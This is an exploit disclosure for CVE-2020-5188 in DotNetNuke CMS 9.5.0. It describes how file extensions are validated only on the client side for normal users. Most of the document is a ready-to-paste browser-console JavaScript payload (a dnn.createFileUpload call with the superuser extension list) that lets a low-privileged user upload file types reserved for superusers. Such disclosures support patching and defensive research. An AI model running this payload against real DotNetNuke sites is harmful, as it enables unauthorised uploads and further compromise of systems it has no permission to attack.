DotNetNuke CMS 9.5.0 File Extension Check Bypass

`# Exploit Title: File upload vulnerability through bypassing client-side file extension check  
# Date: 23 Feb 2020  
# Exploit Author: Sajjad Pourali  
# Vendor Homepage: http://dnnsoftware.com/  
# Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases/download/v9.5.0/DNN_Platform_9.5.0_Install.zip  
# Version: => 9.5  
# CVE : CVE-2020-5188  
# More Info: https://medium.com/@SajjadPourali/dnn-dotnetnuke-cms-not-as-secure-as-you-think-e8516f789175  
  
The DNN has a file upload module for superuser. As a superuser, you can upload files with the following formats — “jpg, jpeg, jpe, gif, bmp, png, svg, ttf, eot, woff, doc, docx, xls, xlsx, ppt, pptx, pdf, txt, xml, xsl, xsd, css, zip, rar, template, htmtemplate, ico, avi, mpg, mpeg, mp3, wmv, mov, wav, mp4, webm, ogv”.  
  
As a normal user you are allowed to upload files with “bmp,gif,ico,jpeg,jpg,jpe,png,svg” extensions. The same file upload module used for superuser is reused for normal users with extra validation for a few additional extensions e.g. CSS extension is not allowed.  
  
Unfortunately, only for superuser, whitelisted extension check is performed at the server end. For normal users, extra extension validation is performed at client-side only. Hence, a low privileged normal user can bypass the client-side validation and upload files with extensions which are allowed only for superuser only.  
  
For example, a normal privileged user can upload a file with extension which is allowed only for superuser, by executing the following code on a browser’s console (in the tab that manages profile’s page has opened). This attack may also be performed using proxy tools such as Burp, ZAP etc.  
  
dnn.createFileUpload({  
"clientId": "dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_FileUploadControl",  
"moduleId": "",  
"parentClientId": null,  
"showOnStartup": true,  
"folderPicker": {  
"selectedItemCss": "selected-item",  
"internalStateFieldId": null,  
"disabled": false,  
"selectItemDefaultText": "",  
"initialState": {  
"selectedItem": {  
"key": "0",  
"value": "My Folder"  
}  
},  
"onSelectionChanged": []  
},  
"maxFileSize": 299892736,  
"maxFiles": 0,  
"extensions": ["jpg", "jpeg", "jpe", "gif", "bmp", "png", "svg", "ttf", "eot", "woff", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "pdf", "txt", "xml", "xsl", "xsd", "css", "zip", "rar", "template", "htmtemplate", "ico", "avi", "mpg", "mpeg", "mp3", "wmv", "mov", "wav", "mp4", "webm", "ogv"],  
"resources": {  
"title": "Upload Files",  
"decompressLabel": "Decompress Zip Files",  
"uploadToFolderLabel": "Upload To:",  
"dragAndDropAreaTitle": "Drag files here or click to browse",  
"uploadFileMethod": "Upload File",  
"uploadFromWebMethod": "From URL",  
"closeButtonText": "Close",  
"uploadFromWebButtonText": "Upload",  
"decompressingFile": "Decompressing File",  
"fileIsTooLarge": "File size bigger than 286. Mb",  
"fileUploadCancelled": "Upload cancelled",  
"fileUploadFailed": "Upload failed",  
"fileUploaded": "File uploaded",  
"emptyFileUpload": "Your browser does not support empty file uploads.",  
"fileAlreadyExists": "The file you want to upload already exists in this folder.",  
"uploadStopped": "File upload stopped",  
"urlTooltip": "Enter Resource URL like https://SomeWebSite.com/Images/About.png",  
"keepButtonText": "Keep",  
"replaceButtonText": "Replace",  
"tooManyFiles": "You cannot upload more than {0} file(s) at once.",  
"invalidFileExtensions": "Some selected files with invalid extensions are excluded from upload. You can only upload files with the following extensions: bmp, gif, ico, jpeg, jpg, jpe, png, svg.",  
"unzipFilePromptTitle": "Unzip Information",  
"unzipFileFailedPromptBody": "<div class=\"invalidFiles\"><p>[COUNT] of [TOTAL] file(s) were not extracted because their file types are not supported:</p>[FILELIST]</div>",  
"unzipFileSuccessPromptBody": "<div class=\"validFiles\"><p>[TOTAL] of [TOTAL] file(s) were extracted successfully.</p></div>",  
"errorDialogTitle": "Error"  
},  
"width": 780,  
"height": 630,  
"folderPath": dnn.dnnFileUpload.settings.dnn_ctr_EditUser_Profile_ProfileProperties_Photo_PhotoFileControl_dnnFileUploadScope.folder,  
"parameters": {}  
});  
`